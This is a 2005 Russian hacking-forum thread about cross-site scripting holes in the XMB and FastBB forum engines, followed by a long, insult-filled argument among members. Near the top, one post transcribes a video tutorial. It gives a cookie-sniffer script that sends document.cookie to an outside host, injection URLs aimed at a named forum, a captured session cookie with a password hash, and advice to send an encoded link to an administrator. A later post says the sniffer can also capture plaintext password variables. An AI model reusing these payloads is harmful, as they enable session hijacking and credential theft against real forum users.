Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Комментарии к видео (https://forum.antichat.xyz/forumdisplay.php?f=27)
-   -   XSS в форумах XMB и FastBB (https://forum.antichat.xyz/showthread.php?t=10823)

Егорыч+++ 16.11.2005 18:03
XSS в форумах XMB и FastBB
 
http://video.antichat.net/screens/Xg...xss_resize.jpg

XSS в форумах XMB.
Дата добавления: 15:54 16.11.2005
Автор: XgluiR[[NO]]
Категория: Другое


Скачать: xmbxss.rar [0.99 Мб]

http://video.antichat.net/screens/va...xss_resize.jpg

XSS в форумах FastBB.
Дата добавления: 15:51 16.11.2005
Автор: Ван[[NO]]
Категория: Другое


Скачать: fastbbxss.rar [0.56 Мб]

Otaku 17.11.2005 06:13
Выдрано из архива с видео
Цитата:
Привет я XgLuir

Сейчас я покажу XSS в форумах XMB

идем на форум а потом в отправку личных сообщений

http://www.karakelle.ru/forum/u2u.php?action=send - тут форма для отпраки!

Дыра находиться в форме для получателей из-за плохой фильтрации

Как видите пашет внедрим снифир :)

Для этого создадим js файл с кодом для сниффера

img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;

он у меня уже есть :)

http://www.fath.jino-net.ru/hack.js

Внедрим

REFERER=http://www.karakelle.ru/forum/u2u.php?action=send&username=<script>alert('xss')</script><script%20src=http://www.fath.jino-net.ru/hack.js></script>
QUERY=xmblva=1131740719; xmbuser=Зайка; xmbpw=202cb962ac59075b964b07152d234b70; xmblvb=1131737548
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)



Ну вот получили
xmbpw=202cb962ac59075b964b07152d234b70 - md5 hash

Но наверно появился вапрос а как у админы стырить ?

Отправляем админу сформированый линк он открывает и снифф записывает кукисы

http://www.karakelle.ru/forum/u2u.php?action=send&username=<script%20src=http://www.fath.jino-net.ru/hack.js></script>

Но лучше ссылку за кодировать :)

Вот и все

k1b0rg 17.11.2005 11:23
мда, извращение записывать видео, когда это мона описать в жва предложения.
Otaku спасибо.

*Van* 19.11.2005 14:46
На fastbb багу уже прикрыли.

qBiN 19.11.2005 15:59
Цитата:
На fastbb багу уже прикрыли.
Баг сам нашел?? вроде wj че-та находил да?

PSalm69 19.11.2005 16:35
Цитата:
Сообщение от qBiN
Баг сам нашел?? вроде wj че-та находил да?
Задолго до wj енти и другие баги нашёл Zadohlik. Просто человек скромный и не страдает манией величия. А ентот wj взял и всё обосрал - даже упаковать не смог красиво.

*Van* 19.11.2005 20:08
Да, я взял багу которую выложил на форум wj, но она не работала-куки не подставлялись я просто капельку додумал-присылать переменные, во всем мне многие помогали, всем респект. Видео я сначала снимать и не думал, но потом подкинули идею-решил снять.
Насчёт сейчашней ситуации на fastbb-сейчас там что-то меняют, тег img не работает вообще. Обещают(посмотрел на a.fastbb.ru) что скоро закончат.

Бафун 19.11.2005 23:33
Цитата:
Сообщение от PSalm69
Задолго до wj енти и другие баги нашёл Zadohlik. Просто человек скромный и не страдает манией величия. А ентот wj взял и всё обосрал - даже упаковать не смог красиво.
Интересно, как понять эти и другие баги нашёл Задохлик? Что, все баги которые Я нашёл, Задохлик нашёл первый? или тебя понимать, что чтобы Я не находил, Задохлик уже это нашёл? Если да, то что? Это раз, два, Задохлик не показывает мне свою работу, по этому надежды что то скопировать у меня у него - нету как таковой.

Теперь, люди на форуме просили взломать фастбб потому что никто его не мог взломать. Если Задохлик, а кажись первым был не Задохлик а Джаз, ну так вот, если Джаз не захотел выложить коды для фастбб, или тот который нашёл, то это уже их проблемы. Я их выложил чисто чтобы похвастатся что Я Гений.


А вообще, Задохлик мало что понимает в ХSS, найти багу, с трудом может. Единственные люди на античате которые шарют в ХSS, так это White Jordan, Algol, zheleza, и zFailure которого терь нет. Задохлика эрия, это PHP including, так что не верю, что он мог в фастбб найти спаренные теги.

Бафун 19.11.2005 23:49
И на ответ, что же встётки нашёл Ван.

Он нашёл, что в поле var, пассворд не шифруется, а лежит в открытом виде и дописав "+pass+nick" в место "+document.cookie" (Без кавычек) то нам придёт значение этого атрибута, то есть в нашем случаи, пассворд и ник того человека, который попадается на сниффер. Вообще-то, на сниффер может прийти практически, всё что угодно.

Даю часть кода от фастбб.

Цитата:
<script language='JavaScript'>
var avr = new Array ('');
var zv = new Array ('admin','администратор');

var raz = new Array ();
var users = new Array ('whitejordan','');
var chknam = new Array ('whitejordan','');
var forum='whitejordan';
var filenumber='00000001';
var prof='whitejordan';
var adresat='1132430110';
var msgid='000';
var work='1';
var pass='123';
var nick='whitejordan';
var cls='';
var reklama='';
var modraz='';
var ip='69.25.60.210';
var razdel='0';
var lasttime='1132249495';
var noprintrazdel='';
var only_new_re=0;
var start_page_re=0;
var start=0;
var guest=0;
var count=4;
var leto=0;
var group=4;
var timezone=10800;
var type=2;
var form_new_off=0;
var form_re_off=0;
var avr_off=0;
var servertime=1132430115;
var rang=4;
var re_on_page=20;
var tem_on_page=20;
var gb=0;
var graf_but_off=0;
var gde_form=1;
var pod_otvet=1;
var gr_edit=1;
var gr_bui=0;
var gr_mat=0;
var gr_sm=0;
var gr_gif=0;
var gr_avr_send=1;
var protektion=1;
</script>
Любой var может прийти на сниффер.

aGGreSSor 20.11.2005 05:48
Сейчас бесполезно перемалывать старое. Уязвимость fastbb нужна так, что важней уязвимостей на форумах в этой стране просто нет. Есть 4 форума которых быть не должно. Сейчас на fastbb фильтруются все таги, расшифровывается unicode. Несмотря на идиотичнейший движок вот так, в лоб, найти XSS более невозможно. Фильтр работает на все символы, а возможностей у форума.. Новый XSS на fastbb появится только с новыми возможностями (новыми багами). Молчание знающих товарищей в ответ на запросы подтверждает эти тезисы. Вероятно имеет смысл переходить на SQL-инъекции borda.ru. За те четыре форума я готов убить borda.ru, в принципе. Но мне нужны только эти четыре..

Бафун 20.11.2005 11:18
Я уже нашёл новые Xss, ты о чём? о_О

Zadoxlik 20.11.2005 13:30
White Jordna, быстро твое мнение о людях меняется =D Ну ладно, думай как знаешь, я не буду писать что умеешь и не умеешь ты, т.к. каждому, кто в теме это и так уже понятно. И вообще меряться письками с кем-либо я не умею и не хочу.

Zadoxlik 20.11.2005 13:35
Цитата:
Сообщение от aGGreSSor
Сейчас бесполезно перемалывать старое. Уязвимость fastbb нужна так, что важней уязвимостей на форумах в этой стране просто нет. Есть 4 форума которых быть не должно. Сейчас на fastbb фильтруются все таги, расшифровывается unicode. Несмотря на идиотичнейший движок вот так, в лоб, найти XSS более невозможно. Фильтр работает на все символы, а возможностей у форума.. Новый XSS на fastbb появится только с новыми возможностями (новыми багами). Молчание знающих товарищей в ответ на запросы подтверждает эти тезисы. Вероятно имеет смысл переходить на SQL-инъекции borda.ru. За те четыре форума я готов убить borda.ru, в принципе. Но мне нужны только эти четыре..
Гм, с выходом видео, исправление парсинга XSS на фастББ даже не затронуло моей (White Jordna, привет) XSS трехмесячной давности, так что хсс там остались и сейчас.

Бафун 20.11.2005 21:42
Цитата:
Сообщение от Zadoxlik
White Jordna, быстро твое мнение о людях меняется =D Ну ладно, думай как знаешь, я не буду писать что умеешь и не умеешь ты, т.к. каждому, кто в теме это и так уже понятно. И вообще меряться письками с кем-либо я не умею и не хочу.
У меня поменялось мнение о твоей знатности XSS, когда Я прочёл твои старые посты :D

А так, Я знаю по твоему видео, что ты шаришь по php including да и всё... :rolleyes:

Насчёт меня. Я просмотрел ВСЕ видео античата, и когда выходит новое видео, Я его опять смотрю. И к чему Я это? Да к тому, что Я умею всё. :rolleyes: Просто лучше всегдо, делаю атаки ХSS, так как это мне только и интересно. Баги php/including, SQL injection и т.д. они или есть, или их нет. Некоторые люди, могут их заставлять быть....как Я в XSS это прикраснно делаю. Баги XSS может и не быть, но Я заставлю чтобы она была и не важно на каком форуме или мыле! Вот такого уровня в других фазах не спорю, Я ещё не достиг. Но если бага уже найденна, или её легко найти, то провести атаку мне ничего не стоит.... :rolleyes:

Да Я и проводил и php including и SQL injection и многие другие разновидности атак, просто нашёл что к XSS у меня больше чем к другим, есть интерес. А вот такого уровня где человек заставляет XSS существовать когда её в памини нету и быть не может, вот такого уровня у тебя ещё нет. :rolleyes:

Ты можешь найти что то basic как и все, а более advanced, это уже не к тебе идти. :rolleyes:

qBiN 20.11.2005 23:36
Цитата:
Он нашёл, что в поле var, пассворд не шифруется, а лежит в открытом виде и дописав "+pass+nick" в место "+document.cookie" (Без кавычек) то нам придёт значение этого атрибута, то есть в нашем случаи, пассворд и ник того человека, который попадается на сниффер. Вообще-то, на сниффер может прийти практически, всё что угодно.
Ой,мляяяяяя ржууууунимагууууу
Джордан ты и вправду дурик и нихера нипонимаешь даже в javascript??????
"Он нашел" :)))))) ой бля...ну вот я сломал стул от безудержного смеха....бля :)))))))))))))))))))))))))))))) все пошел рассказывать всем "прикинь Ван открыл что можно передавать через js переменные!" %))))))))))))))))))))))))))))))))))))))))))))))))) ))))))
Помнится даже в какой-то похожей теме я писал толи Вану толи еще каму)))))))))))))))))))) кароче спасибо wj развеселил своем долбоебством и низнанием основ

Бафун 20.11.2005 23:46
Цитата:
Сообщение от qBiN
Ой,мляяяяяя ржууууунимагууууу
Джордан ты и вправду дурик и нихера нипонимаешь даже в javascript??????
"Он нашел" :)))))) ой бля...ну вот я сломал стул от безудержного смеха....бля :)))))))))))))))))))))))))))))) все пошел рассказывать всем "прикинь Ван открыл что можно передавать через js переменные!" %))))))))))))))))))))))))))))))))))))))))))))))))) ))))))
Помнится даже в какой-то похожей теме я писал толи Вану толи еще каму)))))))))))))))))))) кароче спасибо wj развеселил своем долбоебством и низнанием основ
Ёбнулся чтоли? лооооооооооооол

Процитирую сам себя

Цитата:
Он нашёл, что в поле var, пассворд не шифруется,
....................


Цитата:
прикинь Ван открыл что можно передавать через js переменные!
Где Я сказал что Ван это "открыл" ? :confused:

Zadoxlik 20.11.2005 23:50
Процитирую White Jordan'a :

"\x61 - это что за кодировка ?"

Когда-то когда мы с ним общались, мне долго пришлось объяснять ему что это такое, он так и не понял (т.к. потом опять назвал это кодировкой). Так что White Jordan, давай ты мне говорить ничего не будешь. Если что-то ко мне есть сказать - стучи в асю. Я конечно понимаю, что ты сам понимаешь что ты болен на голову и это ты так шутишь, но когда со мной шутят идиоты, которые понимают что они идиоты, и из-за этого думают что тот бред, который они говорят будет не обиден собеседнику, я злюсь, т.к. меня очень даже раздражает подобное обхождение со мной даже таких умственно немощных людей как ты.

Бафун 20.11.2005 23:51
Стой это не к тебе, щас Я тебе отвечу сек )



qBiN, это вот к тебе тогда получается,


Я обьяснил где он нашёл, что пассворд лежит в открытом виде и обьяснил, что он сделал и почему сработало. лоооооооооол ты и в прям ебнулся лоооооооооооол.

Конечно со стула так падать головой стукнутся можно. :rolleyes:

Zadoxlik 20.11.2005 23:55
Так что мнение о том, что Вайт Джордан "разбирается" хотябы в XSS тоже ошибочно. Уж казалось в чем же здесь-то "разбираться"? Но Он не знает даже ни HTML ни JavaScript, так что о каком XSS из неоткуда может идти речь...

Бафун 21.11.2005 00:03
Цитата:
Сообщение от Zadoxlik
Так что мнение о том, что Вайт Джордан "разбирается" хотябы в XSS тоже ошибочно. Уж казалось в чем же здесь-то "разбираться"? Но Он не знает даже ни HTML ни JavaScript, так что о каком XSS из неоткуда может идти речь...
Всё, отыскал ссылку.

Ну так начнём. Когда ты мне про Хакер.ру дал статью, то Я со стула падал, когда ты обьяснял на целую страницу как использовать "/x3e" .......лоооооооооооол

http://forum.antichat.ru/showthread....2057#post12057

(Гость Это Я)


Ещё zFailure мне обьяснял в двух словах то, что тебе понадобилось обьяснять на целую страницу лооооооол

Это раз, потом, ты хоть пойми, что без кавычек и внутри атрибутов тега, эти символы работать не будут, а не потому не работают по твоему обьяснению, что браузер не понял лооооол уже даже не помню какую хрень ты мне ответил когда Я тебя спросил почему они на античате не работают. лооооооооол


Да и сам код ты от алгола скопировал....потом Я доооолго ржал хотя хе...не твоя эрия бывает. +)

Zadoxlik 21.11.2005 00:06
Цитата:
Сообщение от Бафун
Всё, отыскал ссылку.

Ну так начнём. Когда ты мне про Хакер.ру дал статью, то Я со стула падал, когда ты обьяснял на целую страницу как использовать "/x3e" .......лоооооооооооол

http://forum.antichat.ru/showthread....2057#post12057

(Гость Это Я)


Ещё zFailure мне обьяснял в двух словах то, что тебе понадобилось обьяснять на целую страницу лооооооол

Это раз, потом, ты хоть пойми, что без кавычек, эти символы работать не будут, а не потому не работают по твоему обьяснению, что браузер не понял лооооол уже даже не помню какую хрень ты мне ответил когда Я тебя спросил почему они на античате не работают. лооооооооол


Да и сам код ты от алгола скопировал....потом я доооолго ржал хотя хе...не твоя эрия бывает. +)
Ну по идеи такой бред должен вызывать улыбку =). Но т.к. кто-то воспринимает товарища всерьез у меня ее не возникает. Ладно, что-то я разошелся, больше отвечать на этот словесный понос не буду =)

Бафун 21.11.2005 00:14
Цитата:
Сообщение от Zadoxlik
Ну по идеи такой бред должен вызывать улыбку =). Но т.к. кто-то воспринимает товарища всерьез у меня ее не возникает. Ладно, что-то я разошелся, больше отвечать на этот словесный понос не буду =)
Я не говорю о системе а вообще стой лооооооооооол мх...

А хер да Я и сам не знаю Я просто леплю что мне в голову лезет лоооооооооооооол

Хер знает почему \ внутри атрибута тега, не работает без кавычек!!!! :D


Я именно говорю об обходах фильтров, а не о другой теме...хотя леплю всё что лезет на ум.

лооооооооооооооооооооол

Хотя по идеи..........не знаю...мх.мда уж........лоооооооол

qBiN 21.11.2005 15:26
Цитата:
даже ни HTML ни JavaScript, так что о каком XSS из неоткуда может идти речь...
я о том же :)))))))))))
2wj если будешь придираться к словам я тоже начну:
Цитата:
Он нашёл, что в поле var, пассворд не шифруется,
Оч трудно "найти" переменную в js??? и потом ты только что доказал что знания в js у тя нулевые "поле var" не существуют.Если бы ты знал js хотя бы самые основы, то наверное бы не написал такую лабуду("поле var") var насколько я помню объявление переменной,так как может быть правильным такое высказывание?? ("поле var") а и вот и ответ: никак!
Во вторых выше ты сам писал что-то типа var pass='123'; по твоему мнению получается что в "поле var" присваевается что то?)))))))))))))))))))
Кароче я уже убедился что ты нихера не знаешь.На ачате есть люди намного лучше ,отзывчевее,умнее тебя в любом плане с этим ты не поспоришь.
зы:слава богу голову не ударил так что все что тут написано впринципи пишу с трезвой головой =)

Petr 30.07.2008 02:16
Девочки не сортесь


Время: 09:49